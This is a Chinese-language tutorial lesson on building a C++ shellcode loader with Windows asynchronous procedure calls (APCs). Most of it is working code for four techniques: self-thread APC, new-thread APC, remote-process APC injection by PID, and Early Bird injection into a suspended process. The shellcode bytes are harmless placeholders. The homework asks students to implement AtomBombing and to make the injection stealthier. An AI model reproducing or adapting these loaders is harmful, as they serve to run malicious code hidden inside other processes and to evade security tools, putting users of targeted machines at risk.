shellcode loader
8、C++UserAPC实现shellcode loader
1、课程目标
- 理解APC(异步过程调用)机制
- 掌握QueueUserAPC的使用方法
- 实现APC方式执行ShellCode
- 了解APC注入的隐蔽性
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| APC | Asynchronous Procedure Call | 异步过程调用,在特定线程上下文执行 |
| QueueUserAPC | - | 向线程APC队列添加用户模式APC |
| Alertable | 可警醒状态 | 线程处于可接收APC的状态 |
| SleepEx | - | 可警醒的休眠函数 |
3、代码实现
// apc_loader.cpp
// APC方式执行ShellCode
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90,
0x31, 0xC0, 0x40, 0xC3
};
// 方法1: 自身线程APC
void Method1_SelfAPC() {
printf("[*] Method 1: Self Thread APC\n");
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mem) return;
memcpy(mem, shellcode, sizeof(shellcode));
// 向当前线程添加APC
HANDLE hThread = GetCurrentThread();
if (QueueUserAPC((PAPCFUNC)mem, hThread, 0)) {
printf("[+] APC queued\n");
// 进入可警醒状态以执行APC
SleepEx(0, TRUE);
printf("[+] APC executed\n");
} else {
printf("[-] QueueUserAPC failed\n");
}
VirtualFree(mem, 0, MEM_RELEASE);
}
// 方法2: 新建线程的APC
DWORD WINAPI AlertableThread(LPVOID param) {
// 持续处于可警醒状态
while (TRUE) {
SleepEx(INFINITE, TRUE);
}
return 0;
}
void Method2_NewThreadAPC() {
printf("[*] Method 2: New Thread APC\n");
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!mem) return;
memcpy(mem, shellcode, sizeof(shellcode));
// 创建可警醒线程
HANDLE hThread = CreateThread(NULL, 0, AlertableThread, NULL, 0, NULL);
if (!hThread) {
VirtualFree(mem, 0, MEM_RELEASE);
return;
}
// 等待线程启动
Sleep(100);
// 添加APC
if (QueueUserAPC((PAPCFUNC)mem, hThread, 0)) {
printf("[+] APC queued to new thread\n");
Sleep(500); // 等待执行
printf("[+] APC should have executed\n");
}
TerminateThread(hThread, 0);
CloseHandle(hThread);
VirtualFree(mem, 0, MEM_RELEASE);
}
// 方法3: 远程进程APC注入
BOOL InjectAPC(DWORD pid, const void* code, SIZE_T size) {
printf("[*] Method 3: Remote APC Injection to PID %lu\n", pid);
// 打开进程
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
FALSE, pid);
if (!hProcess) {
printf("[-] OpenProcess failed\n");
return FALSE;
}
// 分配远程内存
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteMem) {
CloseHandle(hProcess);
return FALSE;
}
printf("[+] Remote memory: %p\n", remoteMem);
// 写入ShellCode
SIZE_T written;
WriteProcessMemory(hProcess, remoteMem, code, size, &written);
// 枚举目标进程的线程
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
int apcCount = 0;
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
if (hThread) {
if (QueueUserAPC((PAPCFUNC)remoteMem, hThread, 0)) {
apcCount++;
}
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
printf("[+] Queued APC to %d threads\n", apcCount);
CloseHandle(hProcess);
return apcCount > 0;
}
// 方法4: Early Bird APC注入
BOOL EarlyBirdInject(const wchar_t* targetExe, const void* code, SIZE_T size) {
printf("[*] Method 4: Early Bird APC Injection\n");
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
// 以挂起状态创建进程
if (!CreateProcessW(targetExe, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("[-] CreateProcess failed\n");
return FALSE;
}
printf("[+] Created suspended process: %lu\n", pi.dwProcessId);
// 分配内存
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteMem) {
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
// 写入ShellCode
SIZE_T written;
WriteProcessMemory(pi.hProcess, remoteMem, code, size, &written);
printf("[+] Written %zu bytes to %p\n", written, remoteMem);
// 添加APC到主线程
if (QueueUserAPC((PAPCFUNC)remoteMem, pi.hThread, 0)) {
printf("[+] APC queued to main thread\n");
}
// 恢复线程(APC将在线程恢复时执行)
ResumeThread(pi.hThread);
printf("[+] Thread resumed\n");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
int main(int argc, char* argv[]) {
printf("========================================\n");
printf(" APC ShellCode Loader \n");
printf("========================================\n\n");
Method1_SelfAPC();
printf("\n");
Method2_NewThreadAPC();
printf("\n");
// 远程注入
if (argc >= 2) {
DWORD pid = atoi(argv[1]);
InjectAPC(pid, shellcode, sizeof(shellcode));
}
return 0;
}
4、课后作业
4.1、作业1:实现AtomBombing
研究AtomBombing技术并实现简单版本。
4.2、作业2:优化Early Bird
改进Early Bird注入,使其更加隐蔽。